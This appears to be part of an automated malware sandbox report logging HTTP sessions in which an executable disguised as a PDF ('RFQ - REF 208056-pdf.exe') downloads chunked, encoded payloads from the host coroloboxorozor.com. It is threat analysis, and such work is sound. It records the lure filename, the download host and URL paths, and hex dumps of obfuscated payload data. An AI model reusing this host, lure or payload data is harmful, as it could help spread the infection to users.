58 59 75 75 59 63 43 4a 59 56 56 59 63 49 62 59 56 4a 63 59 63 69 58 59 56 4a 4a 59 56 58 4a 59 54 56 59 63 62 69 59 63 49 69 59 69 63 59 63 75 49 59 56 58 4a 59 75 69 59 63 63 63 59 63 49 54 59 56 4a 63 59 54 75 59 63 63 49 59 63 49 58 59 63 43 59 54 4a 59 63 54 63 59 56 49 59 56 62 49 59 54 63 59 56 58 59 56 4a 59 75 58 59 63 58 69 59 63 54 59 49 62 59 63 63 75 59 63 75 58 59 43 4a 59 63 43 62 59 56 4a 59 63 63 69 59 69 43 59 63 54 43 59 54 49 59 63 54 63 59 58 4a 59 63 62 4a 59 63 69 62 59 56 58 69 59 58 43 59 63 56 58 59 63 75 75 59 56 56 75 59 56 58 69 59 4a 63 59 63 54 58 59 56 58 49 59 56 56 54 59 56 4a 58 59 56 62 54 59 75 62 59 56 58 54 59 63 63 58 59 63 54 69 59 63 62 58 59 56 4a 58 59 63 69 4a 59 69 63 59 56 4a 4a 59 63 58 43 59 63 56 62 59 4a 4a 59 56 75 69 59 63 62 43 59 43 4a 59 63 69 59 56 4a 62 59 4a 56 59 75 49 59 69 43 59 54 4a 59 75 58 59 58 54 59 63 56 59 63 69 69 59 63 56 75 59 63 56 63 59 56 75 69 59 56 75 54 59 63 49 75 59 63 43 69 59 63 49 75 59 63 43 69 59 49 75 59 75 58 59 58 56 59 56 56 69 59 43 43 59 58 58 59 56 58 59 63 69 56 59 63 62 4a 59 4a 75 59 63 54 56 59 63 63 58 59 63 56 59 56 63 58 59 63 56 54 59 69 58 59 63 75 59 56 56 69 59 63 62 75 59 54 Data Ascii: 3467<p>YVuYcJCYVbVYVVIYXuYIbYcCCYciiYVcIYuXYcVJYcuJYVcJYVXXYuuYcCJYVVYcIbYVJcYciXYVJJYVXJYTVYcbiYcIiYicYcuIYVXJYuiYcccYcITYVJcYTuYccIYcIXYcCYTJYcTcYVIYVbIYTcYVXYVJYuXYcXiYcTYIbYccuYcuXYCJYcCbYVJYcciYiCYcTCYTIYcTcYXJYcbJYcibYVXiYXCYcVXYcuuYVVuYVXiYJcYcTXYVXIYVVTYVJXYVbTYubYVXTYccXYcTiYcbXYVJXYciJYicYVJJYcXCYcVbYJJYVuiYcbCYCJYciYVJbYJVYuIYiCYTJYuXYXTYcVYciiYcVuYcVcYVuiYVuTYcIuYcCiYcIuYcCiYIuYuXYXVYVViYCCYXXYVXYciVYcbJYJuYcTVYccXYcVYVcXYcVTYiXYcuYVViYcbuYT
Feb 25, 2021 15:14:55.763298035 CET	2900	OUT	GET /base/7DD0ECB3FED3970A09258155874027F0.html HTTP/1.1 Host: coroloboxorozor.com
Feb 25, 2021 15:14:55.834506035 CET	2906	IN	HTTP/1.1 200 OK Date: Thu, 25 Feb 2021 14:14:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d1848e1b579e40cb487555f36131c8c101614262495; expires=Sat, 27-Mar-21 14:14:55 GMT; path=/; domain=.coroloboxorozor.com; HttpOnly; SameSite=Lax Last-Modified: Thu, 25 Feb 2021 07:33:06 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 087b24023a0000d91d4abe6000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=d9Avn1PVWM%2BKgoAD6JKLiOd1aVRNpKa8a066FcuerjeT1cYkfWodRURBItxf6pnQPTF4AuntOo%2Fn19VLIniyJuUktR1LfYhfv%2FIyWrYudzsrWyno"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62720916b93fd91d-AMS alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 31 31 64 0d 0a 3c 70 3e 58 69 59 62 59 63 62 56 59 62 59 63 63 43 59 62 59 63 63 62 59 62 59 63 63 43 59 62 59 49 49 59 62 59 63 63 62 59 62 59 63 62 54 59 62 59 63 63 43 59 62 59 63 56 63 59 62 59 63 63 43 59 62 59 63 62 4a 59 62 59 63 62 4a 59 62 59 63 62 75 59 62 59 63 62 43 59 62 59 58 69 59 62 59 63 62 63 59 62 59 58 69 59 62 59 63 63 62 59 62 59 63 63 75 59 62 59 63 63 69 59 62 59 63 63 56 59 62 59 63 63 75 59 62 59 63 62 63 59 62 59 63 63 49 59 62 59 63 63 54 59 62 59 58 69 59 62 59 63 63 75 59 62 59 58 69 59 62 59 63 62 49 59 62 59 63 63 62 59 62 59 63 63 75 59 62 59 49 43 59 62 59 63 62 4a 59 62 59 63 62 58 59 62 59 63 56 62 59 62 59 63 62 49 59 62 59 63 56 63 59 62 59 63 56 56 59 62 59 63 62 56 59 62 59 63 62 69 59 62 59 63 56 56 59 62 59 58 69 59 62 59 63 63 43 59 62 59 58 69 59 62 59 49 43 59 62 59 49 49 59 62 59 63 62 63 59 62 59 63 62 4a 59 62 59 49 69 59 62 59 63 62 62 59 62 59 63 63 69 59 62 59 63 63 54 59 62 59 63 62 54 59 62 59 63 62 49 59 62 59 63 63 69 59 62 59 63 63 4a 59 62 59 58 69 59 62 59 63 62 4a 59 62 59 58 69 59 62 59 63 63 56 59 62 59 63 63 75 59 62 59 63 63 54 59 62 59 63 63 63 59 62 59 63 62 63 59 62 59 63 63 56 59 62 59 63 62 75 59 62 59 63 62 54 59 62 59 49 69 59 62 59 63 63 4a 59 62 59 63 62 75 59 62 59 58 69 59 62 59 49 49 59 62 59 58 69 59 62 59 63 56 63 59 62 59 63 56 63 59 62 59 49 49 59 62 59 63 63 43 59 62 59 63 Data Ascii: 111d<p>XiYbYcbVYbYccCYbYccbYbYccCYbYIIYbYccbYbYcbTYbYccCYbYcVcYbYccCYbYcbJYbYcbJYbYcbuYbYcbCYbYXiYbYcbcYbYXiYbYccbYbYccuYbYcciYbYccVYbYccuYbYcbcYbYccIYbYccTYbYXiYbYccuYbYXiYbYcbIYbYccbYbYccuYbYICYbYcbJYbYcbXYbYcVbYbYcbIYbYcVcYbYcVVYbYcbVYbYcbiYbYcVVYbYXiYbYccCYbYXiYbYICYbYIIYbYcbcYbYcbJYbYIiYbYcbbYbYcciYbYccTYbYcbTYbYcbIYbYcciYbYccJYbYXiYbYcbJYbYXiYbYccVYbYccuYbYccTYbYcccYbYcbcYbYccVYbYcbuYbYcbTYbYIiYbYccJYbYcbuYbYXiYbYIIYbYXiYbYcVcYbYcVcYbYIIYbYccCYbYc

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49730	172.67.172.17	80	C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Timestamp	kBytes transferred	Direction	Data
Feb 25, 2021 15:15:48.726012945 CET	3693	OUT	GET /base/4FDB764474638ADF12639B4DA858CE81.html HTTP/1.1 Host: coroloboxorozor.com Connection: Keep-Alive
Feb 25, 2021 15:15:48.804352999 CET	3694	IN	HTTP/1.1 200 OK Date: Thu, 25 Feb 2021 14:15:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d813b895a9bf821e6da245c90df838df11614262548; expires=Sat, 27-Mar-21 14:15:48 GMT; path=/; domain=.coroloboxorozor.com; HttpOnly; SameSite=Lax Last-Modified: Thu, 25 Feb 2021 07:33:02 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 087b24d11b0000c7718b34d000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=PazrufPZj9Y9cQ00m1b5FirjAGFQlSdy6kmLvX362GlDWjOHJEDCjGpVC1z9IFFdJOFgc7%2BLMP%2FyNeqxAhxNAPUxW812wt2wJdn2uWTHXLeKyKSY"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 62720a61c95ac771-AMS alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 63 37 39 0d 0a 3c 70 3e 69 69 59 49 62 59 63 75 75 59 62 59 58 59 62 59 62 59 62 59 75 59 62 59 62 59 62 59 56 4a 4a 59 56 4a 4a 59 62 59 62 59 63 43 75 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 54 75 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 63 56 43 59 62 59 62 59 62 59 63 75 59 58 63 59 63 43 54 59 63 75 59 62 59 63 43 62 59 49 59 56 62 4a 59 58 58 59 63 43 75 59 63 59 69 54 59 56 62 4a 59 58 58 59 43 75 59 63 62 75 59 63 62 4a 59 63 63 4a 59 58 56 59 63 63 56 59 63 63 75 59 63 63 63 59 63 62 58 59 63 63 75 59 49 69 59 63 62 49 59 58 56 59 49 49 59 49 69 59 63 63 62 59 63 63 62 59 63 63 63 59 63 63 54 59 58 56 59 49 43 59 63 62 63 59 58 56 59 63 63 75 59 63 63 69 59 63 63 62 59 58 56 59 63 62 4a 59 63 63 62 59 58 56 59 54 43 59 69 49 59 43 58 59 58 56 59 63 62 49 59 63 63 63 59 63 62 62 59 63 62 63 59 75 54 59 63 58 59 63 58 59 63 62 59 58 54 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 43 62 59 54 49 59 62 59 62 59 69 54 59 63 59 58 59 62 59 69 54 59 63 75 56 59 75 63 59 63 43 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 56 56 75 59 62 59 58 75 59 62 59 63 63 59 63 59 43 62 59 62 59 62 59 63 75 56 59 63 62 59 62 59 62 59 54 59 62 59 62 59 62 59 62 59 62 59 62 59 63 75 56 59 63 Data Ascii: c79<p>iiYIbYcuuYbYXYbYbYbYuYbYbYbYVJJYVJJYbYbYcCuYbYbYbYbYbYbYbYTuYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYcVCYbYbYbYcuYXcYcCTYcuYbYcCbYIYVbJYXXYcCuYcYiTYVbJYXXYCuYcbuYcbJYccJYXVYccVYccuYcccYcbXYccuYIiYcbIYXVYIIYIiYccbYccbYcccYccTYXVYICYcbcYXVYccuYcciYccbYXVYcbJYccbYXVYTCYiIYCXYXVYcbIYcccYcbbYcbcYuTYcXYcXYcbYXTYbYbYbYbYbYbYbYCbYTIYbYbYiTYcYXYbYiTYcuVYucYcCbYbYbYbYbYbYbYbYbYVVuYbYXuYbYccYcYCbYbYbYcuVYcbYbYbYTYbYbYbYbYbYbYcuVYc
Feb 25, 2021 15:15:48.804375887 CET	3695	IN	Data Raw: 69 58 59 63 62 59 62 59 62 59 58 56 59 62 59 62 59 62 59 63 49 56 59 63 62 59 62 59 62 59 62 59 62 59 63 56 43 59 62 59 58 56 59 62 59 62 59 62 59 56 59 62 59 62 59 75 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 75 59 62 59 62 59 62 59 62 59 62 Data Ascii: iXYcbYbYbYXVYbYbYbYcIVYcbYbYbYbYbYcVCYbYXVYbYbYbYVYbYbYuYbYbYbYbYbYbYbYuYbYbYbYbYbYbYbYbYbYccYbYbYVYbYbYbYbYbYbYVYbYTuYcXXYbYbYcTYbYbYcTYbYbYbYbYcTYbYbYcTYbYbYbYbYbYbYcTYbYbYbYbYbYbYbYbYbYbYbYJTYciXYcbYbYCXYbYbYbYbYcIVYcbYbYVcVYXYbYbYbYbYbYbYb
Feb 25, 2021 15:15:48.804394007 CET	3697	IN	Data Raw: 54 59 62 59 62 59 62 59 56 62 59 62 59 62 59 62 59 56 75 59 62 59 62 59 62 59 56 43 59 62 59 62 59 62 59 58 54 59 62 59 62 59 62 59 56 54 59 75 62 59 63 58 59 62 59 62 59 54 59 75 56 59 75 56 59 56 4a 75 59 49 59 62 59 62 59 75 62 59 63 63 69 59 Data Ascii: TYbYbYbYVbYbYbYbYVuYbYbYbYVCYbYbYbYXTYbYbYbYVTYubYcXYbYbYTYuVYuVYVJuYIYbYbYubYcciYbYbYcbYuVYXbYVYubYcXTYbYbYcbYuVYXCYbYVYubYcXiYbYbYcbYbYuVYcTTYccJYcXCYbYbYcbYcVCYuYbYbYuYccJYcXIYbYbYcbYcVCYJYbYbYuYccJYcubYbYbYcbYcVCYTYbYbYuYccJYcucYbYbYcbYcVC
Feb 25, 2021 15:15:48.804405928 CET	3697	IN	Data Raw: 59 75 43 59 63 4a 69 59 58 69 59 58 56 59 62 59 62 59 62 59 62 59 58 63 59 4a 58 59 63 4a 69 59 58 69 59 58 56 59 62 59 62 59 62 59 62 59 58 63 59 63 62 56 59 63 4a 69 59 58 69 59 56 0d 0a Data Ascii: YuCYcJiYXiYXVYbYbYbYbYXcYJXYcJiYXiYXVYbYbYbYbYXcYcbVYcJiYXiYV
Feb 25, 2021 15:15:48.804420948 CET	3698	IN	Data Raw: 35 35 66 38 0d 0a 56 59 58 63 59 63 56 58 59 63 4a 69 59 63 63 4a 59 56 56 59 62 59 62 59 63 62 59 62 59 75 62 59 56 58 59 62 59 62 59 63 62 59 75 62 59 56 75 59 62 59 62 59 63 62 59 56 4a 75 59 63 75 59 56 59 62 59 56 4a 75 59 63 58 59 56 59 62 Data Ascii: 55f8VYXcYcVXYcJiYccJYVVYbYbYcbYbYubYVXYbYbYcbYubYVuYbYbYcbYVJuYcuYVYbYVJuYcXYVYbYVJuYVVYuuYbYbYcYcccYVJYbYbYcbYubYVTYbYbYcbYVJuYcuYcYbYVJuYcVYcYbYubYViYbYbYcbYXCYXcYcIYcucYJbYbYbYcYXiYXVYcCYbYbYbYXcYcbcYcJiYXiYXVYcCYbYbYbYXcYcbcYcJiYXiYXcYcC
Feb 25, 2021 15:15:48.804438114 CET	3700	IN	Data Raw: 59 58 56 59 63 59 62 59 62 59 62 59 58 63 59 63 62 56 59 63 4a 69 59 58 69 59 58 56 59 63 59 62 59 62 59 62 59 58 63 59 63 62 56 59 63 4a 69 59 58 69 59 56 58 59 58 63 59 75 43 59 63 4a 69 59 58 69 59 58 56 59 62 59 62 59 62 59 62 59 58 63 59 49 Data Ascii: YXVYcYbYbYbYXcYcbVYcJiYXiYXVYcYbYbYbYXcYcbVYcJiYXiYVXYXcYuCYcJiYXiYXVYbYbYbYbYXcYIiYcJiYXiYXVYbYbYbYbYXcYJVYcJiYXiYVVYXcYcVXYcJiYccJYVVYbYbYcbYbYVJuYcVYcYbYubYVCYbYbYcbYubYVYbYbYTYubYVIYbYbYcbYbYbYccJYXbYbYbYcbYVJuYcuYXYbYVJuYcVYXYbYcccYXcYbYb
Feb 25, 2021 15:15:48.804452896 CET	3701	IN	Data Raw: 59 56 4a 59 58 63 59 49 56 59 63 4a 69 59 58 69 59 58 56 59 56 59 62 59 62 59 62 59 58 63 59 4a 75 59 63 4a 69 59 58 69 59 58 56 59 56 59 62 59 62 59 62 59 58 63 59 4a 62 59 63 4a 69 59 58 69 59 56 75 59 58 63 59 63 56 4a 59 63 4a 69 59 58 69 59 Data Ascii: YVJYXcYIVYcJiYXiYXVYVYbYbYbYXcYJuYcJiYXiYXVYVYbYbYbYXcYJbYcJiYXiYVuYXcYcVJYcJiYXiYXVYcYbYbYbYXcYJXYcJiYXiYXVYcYbYbYbYXcYIIYcJiYXiYVXYXcYuCYcJiYXiYXVYbYbYbYbYXcYJVYcJiYXiYXVYbYbYbYbYXcYICYcJiYXiYVVYXcYcVXYcJiYccJYVVYbYbYcbYbYVJuYcVYcYbYubYVCYbY
Feb 25, 2021 15:15:48.804469109 CET	3702	IN	Data Raw: 58 69 59 58 56 59 49 4a 59 62 59 62 59 62 59 58 63 59 4a 62 59 63 4a 69 59 58 69 59 58 63 59 49 4a 59 58 63 59 58 75 59 63 4a 69 59 58 69 59 58 56 59 49 75 59 62 59 62 59 62 59 58 63 59 63 62 63 59 63 4a 69 59 58 69 59 58 56 59 49 75 59 62 59 62 Data Ascii: XiYXVYIJYbYbYbYXcYJbYcJiYXiYXcYIJYXcYXuYcJiYXiYXVYIuYbYbYbYXcYcbcYcJiYXiYXVYIuYbYbYbYXcYJVYcJiYXiYXcYIuYXcYXuYcJiYXiYXVYIXYbYbYbYXcYIiYcJiYXiYXVYIXYbYbYbYXcYcbcYcJiYXiYXcYIXYXcYXVYcJiYXiYXVYIVYbYbYbYXcYIIYcJiYXiYXVYIVYbYbYbYXcYJVYcJiYXiYXcYIVY
Feb 25, 2021 15:15:48.804483891 CET	3704	IN	Data Raw: 62 59 62 59 58 63 59 4a 62 59 63 4a 69 59 58 69 59 58 63 59 69 54 59 58 63 59 58 75 59 63 4a 69 59 58 69 59 58 56 59 69 4a 59 62 59 62 59 62 59 58 63 59 4a 58 59 63 4a 69 59 58 69 59 58 56 59 69 4a 59 62 59 62 59 62 59 58 63 59 75 43 59 63 4a 69 Data Ascii: bYbYXcYJbYcJiYXiYXcYiTYXcYXuYcJiYXiYXVYiJYbYbYbYXcYJXYcJiYXiYXVYiJYbYbYbYXcYuCYcJiYXiYXcYiJYXcYXuYcJiYXiYXVYiuYbYbYbYXcYJVYcJiYXiYXVYiuYbYbYbYXcYJcYcJiYXiYXcYiuYXcYXVYcJiYXiYXVYiXYbYbYbYXcYICYcJiYXiYXVYiXYbYbYbYXcYIiYcJiYXiYXcYiXYXcYcbcYcJiYXi
Feb 25, 2021 15:15:48.804502964 CET	3705	IN	Data Raw: 59 63 4a 69 59 58 69 59 58 63 59 4a 69 59 58 63 59 4a 63 59 63 4a 69 59 58 69 59 58 56 59 4a 54 59 62 59 62 59 62 59 58 63 59 4a 56 59 63 4a 69 59 58 69 59 58 56 59 4a 54 59 62 59 62 59 62 59 58 63 59 75 49 59 63 4a 69 59 58 69 59 58 63 59 4a 54 Data Ascii: YcJiYXiYXcYJiYXcYJcYcJiYXiYXVYJTYbYbYbYXcYJVYcJiYXiYXVYJTYbYbYbYXcYuIYcJiYXiYXcYJTYXcYXuYcJiYXiYXVYJJYbYbYbYXcYcbVYcJiYXiYXVYJJYbYbYbYXcYJVYcJiYXiYXcYJJYXcYXuYcJiYXiYXVYJuYbYbYbYXcYJbYcJiYXiYXVYJuYbYbYbYXcYIiYcJiYXiYXcYJuYXcYXVYcJiYXiYXVYJXYbY
Feb 25, 2021 15:15:48.805505037 CET	3707	IN	Data Raw: 59 58 63 59 58 75 59 63 4a 69 59 58 69 59 58 56 59 58 69 59 62 59 62 59 62 59 58 63 59 63 62 63 59 63 4a 69 59 58 69 59 58 56 59 58 69 59 62 59 62 59 62 59 58 63 59 4a 54 59 63 4a 69 59 58 69 59 58 63 59 58 69 59 58 63 59 58 75 59 63 4a 69 59 58 Data Ascii: YXcYXuYcJiYXiYXVYXiYbYbYbYXcYcbcYcJiYXiYXVYXiYbYbYbYXcYJTYcJiYXiYXcYXiYXcYXuYcJiYXiYXVYXTYbYbYbYXcYJXYcJiYXiYXVYXTYbYbYbYXcYJbYcJiYXiYXcYXTYXcYcVJYcJiYXiYXVYXJYbYbYbYXcYuIYcJiYXiYXVYXJYbYbYbYXcYcbVYcJiYXiYXcYXJYXcYuIYcJiYXiYXVYXuYbYbYbYXcYJTYc
Feb 25, 2021 15:15:49.311249971 CET	4754	OUT	GET /base/67CF952D671D30AE6DA37F3E241170D6.html HTTP/1.1 Host: coroloboxorozor.com
Feb 25, 2021 15:15:49.389533043 CET	4755	IN	HTTP/1.1 200 OK Date: Thu, 25 Feb 2021 14:15:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d18de9b56a7690571ecc8f4558e674fa71614262549; expires=Sat, 27-Mar-21 14:15:49 GMT; path=/; domain=.coroloboxorozor.com; HttpOnly; SameSite=Lax Last-Modified: Thu, 25 Feb 2021 07:33:05 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 087b24d3630000c7717302d000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=F9rBsfub1Wxg0kIcZakTfo%2FSW7h0mYi%2Fyd%2F%2BCqiJxMq%2FQhMZtGuoUUZCenUkXDaKygPANMS29pwBOerGZGBYQg0puO4hFwNDm2SjefApgSQVWfqi"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 62720a656f75c771-AMS alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 33 34 36 37 0d 0a 3c 70 3e 59 56 75 59 63 4a 43 59 56 62 56 59 56 56 49 59 58 75 59 49 62 59 63 43 43 59 63 69 69 59 56 63 49 59 75 58 59 63 56 4a 59 63 75 4a 59 56 63 4a 59 56 58 58 59 75 75 59 63 43 4a 59 56 56 59 63 49 62 59 56 4a 63 59 63 69 58 59 56 4a 4a 59 56 58 4a 59 54 56 59 63 62 69 59 63 49 69 59 69 63 59 63 75 49 59 56 58 4a 59 75 69 59 63 63 63 59 63 49 54 59 56 4a 63 59 54 75 59 63 63 49 59 63 49 58 59 63 43 59 54 4a 59 63 54 63 59 56 49 59 56 62 49 59 54 63 59 56 58 59 56 4a 59 75 58 59 63 58 69 59 63 54 59 49 62 59 63 63 75 59 63 75 58 59 43 4a 59 63 43 62 59 56 4a 59 63 63 69 59 69 43 59 63 54 43 59 54 49 59 63 54 63 59 58 4a 59 63 62 4a 59 63 69 62 59 56 58 69 59 58 43 59 63 56 58 59 63 75 75 59 56 56 75 59 56 58 69 59 4a 63 59 63 54 58 59 56 58 49 59 56 56 54 59 56 4a 58 59 56 62 54 59 75 62 59 56 58 54 59 63 63 58 59 63 54 69 59 63 62 58 59 56 4a 58 59 63 69 4a 59 69 63 59 56 4a 4a 59 63 58 43 59 63 56 62 59 4a 4a 59 56 75 69 59 63 62 43 59 43 4a 59 63 69 59 56 4a 62 59 4a 56 59 75 49 59 69 43 59 54 4a 59 75 58 59 58 54 59 63 56 59 63 69 69 59 63 56 75 59 63 56 63 59 56 75 69 59 56 75 54 59 63 49 75 59 63 43 69 59 63 49 75 59 63 43 69 59 49 75 59 75 58 59 58 56 59 56 56 69 59 43 43 59 58 58 59 56 58 59 63 69 56 59 63 62 4a 59 4a 75 59 63 54 56 59 63 63 58 59 63 56 59 56 63 58 59 63 56 54 59 69 58 59 63 75 59 56 56 69 59 63 Data Ascii: 3467<p>YVuYcJCYVbVYVVIYXuYIbYcCCYciiYVcIYuXYcVJYcuJYVcJYVXXYuuYcCJYVVYcIbYVJcYciXYVJJYVXJYTVYcbiYcIiYicYcuIYVXJYuiYcccYcITYVJcYTuYccIYcIXYcCYTJYcTcYVIYVbIYTcYVXYVJYuXYcXiYcTYIbYccuYcuXYCJYcCbYVJYcciYiCYcTCYTIYcTcYXJYcbJYcibYVXiYXCYcVXYcuuYVVuYVXiYJcYcTXYVXIYVVTYVJXYVbTYubYVXTYccXYcTiYcbXYVJXYciJYicYVJJYcXCYcVbYJJYVuiYcbCYCJYciYVJbYJVYuIYiCYTJYuXYXTYcVYciiYcVuYcVcYVuiYVuTYcIuYcCiYcIuYcCiYIuYuXYXVYVViYCCYXXYVXYciVYcbJYJuYcTVYccXYcVYVcXYcVTYiXYcuYVViYc
Feb 25, 2021 15:16:11.567480087 CET	10607	OUT	GET /base/7DD0ECB3FED3970A09258155874027F0.html HTTP/1.1 Host: coroloboxorozor.com
Feb 25, 2021 15:16:11.687016964 CET	10609	IN	HTTP/1.1 200 OK Date: Thu, 25 Feb 2021 14:16:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d99f25c7b934921b734b25839dd3e3f901614262571; expires=Sat, 27-Mar-21 14:16:11 GMT; path=/; domain=.coroloboxorozor.com; HttpOnly; SameSite=Lax Last-Modified: Thu, 25 Feb 2021 07:33:06 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 087b252a520000c77181aa5000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=lpWI3VLJpMqYtBz4v3zyxdt7RZhZoY1q5FUpB9Ec0v9%2FYrEqoFk6R1aiCLds95qfe2iodPO3A4uNHxwFJ7wK2QekkuhefnXOXBUuTZjuz%2Bgg6fHL"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 62720af08cb8c771-AMS alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 35 30 63 31 0d 0a 3c 70 3e 58 69 59 62 59 63 62 56 59 62 59 63 63 43 59 62 59 63 63 62 59 62 59 63 63 43 59 62 59 49 49 59 62 59 63 63 62 59 62 59 63 62 54 59 62 59 63 63 43 59 62 59 63 56 63 59 62 59 63 63 43 59 62 59 63 62 4a 59 62 59 63 62 4a 59 62 59 63 62 75 59 62 59 63 62 43 59 62 59 58 69 59 62 59 63 62 63 59 62 59 58 69 59 62 59 63 63 62 59 62 59 63 63 75 59 62 59 63 63 69 59 62 59 63 63 56 59 62 59 63 63 75 59 62 59 63 62 63 59 62 59 63 63 49 59 62 59 63 63 54 59 62 59 58 69 59 62 59 63 63 75 59 62 59 58 69 59 62 59 63 62 49 59 62 59 63 63 62 59 62 59 63 63 75 59 62 59 49 43 59 62 59 63 62 4a 59 62 59 63 62 58 59 62 59 63 56 62 59 62 59 63 62 49 59 62 59 63 56 63 59 62 59 63 56 56 59 62 59 63 62 56 59 62 59 63 62 69 59 62 59 63 56 56 59 62 59 58 69 59 62 59 63 63 43 59 62 59 58 69 59 62 59 49 43 59 62 59 49 49 59 62 59 63 62 63 59 62 59 63 62 4a 59 62 59 49 69 59 62 59 63 62 62 59 62 59 63 63 69 59 62 59 63 63 54 59 62 59 63 62 54 59 62 59 63 62 49 59 62 59 63 63 69 59 62 59 63 63 4a 59 62 59 58 69 59 62 59 63 62 4a 59 62 59 58 69 59 62 59 63 63 56 59 62 59 63 63 75 59 62 59 63 63 54 59 62 59 63 63 63 59 62 59 63 62 63 59 62 59 63 63 56 59 62 59 63 62 75 59 62 59 63 62 54 59 62 59 49 69 59 62 59 63 63 4a 59 62 59 63 62 75 59 62 59 58 69 59 62 59 49 49 59 62 59 58 69 59 62 59 63 56 63 59 62 59 63 56 63 59 62 59 49 49 59 62 59 63 63 43 59 62 59 63 62 63 Data Ascii: 50c1<p>XiYbYcbVYbYccCYbYccbYbYccCYbYIIYbYccbYbYcbTYbYccCYbYcVcYbYccCYbYcbJYbYcbJYbYcbuYbYcbCYbYXiYbYcbcYbYXiYbYccbYbYccuYbYcciYbYccVYbYccuYbYcbcYbYccIYbYccTYbYXiYbYccuYbYXiYbYcbIYbYccbYbYccuYbYICYbYcbJYbYcbXYbYcVbYbYcbIYbYcVcYbYcVVYbYcbVYbYcbiYbYcVVYbYXiYbYccCYbYXiYbYICYbYIIYbYcbcYbYcbJYbYIiYbYcbbYbYcciYbYccTYbYcbTYbYcbIYbYcciYbYccJYbYXiYbYcbJYbYXiYbYccVYbYccuYbYccTYbYcccYbYcbcYbYccVYbYcbuYbYcbTYbYIiYbYccJYbYcbuYbYXiYbYIIYbYXiYbYcVcYbYcVcYbYIIYbYccCYbYcbc

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49736	172.67.172.17	80	C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe

Timestamp	kBytes transferred	Direction	Data
Feb 25, 2021 15:15:59.952835083 CET	6457	OUT	GET /base/4FDB764474638ADF12639B4DA858CE81.html HTTP/1.1 Host: coroloboxorozor.com Connection: Keep-Alive
Feb 25, 2021 15:16:00.047290087 CET	7223	IN	HTTP/1.1 200 OK Date: Thu, 25 Feb 2021 14:16:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d13aa7a57fad137eafa360a7b8317c40f1614262560; expires=Sat, 27-Mar-21 14:16:00 GMT; path=/; domain=.coroloboxorozor.com; HttpOnly; SameSite=Lax Last-Modified: Thu, 25 Feb 2021 07:33:02 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 087b24fcf600009d18e438a000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=T59UE2gtmbBAwQ9hiT5klyZBG5tHeXeVdI7CgwhIXWpx%2FFZjv5VKs2nR8rXvKQMDCA66r%2F1Y0S%2BeLuANgkOpsNmIEJ8tO%2BWOG494x%2BEeGt5RMPXm"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62720aa7e9419d18-AMS alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 36 32 37 31 0d 0a 3c 70 3e 69 69 59 49 62 59 63 75 75 59 62 59 58 59 62 59 62 59 62 59 75 59 62 59 62 59 62 59 56 4a 4a 59 56 4a 4a 59 62 59 62 59 63 43 75 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 54 75 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 63 56 43 59 62 59 62 59 62 59 63 75 59 58 63 59 63 43 54 59 63 75 59 62 59 63 43 62 59 49 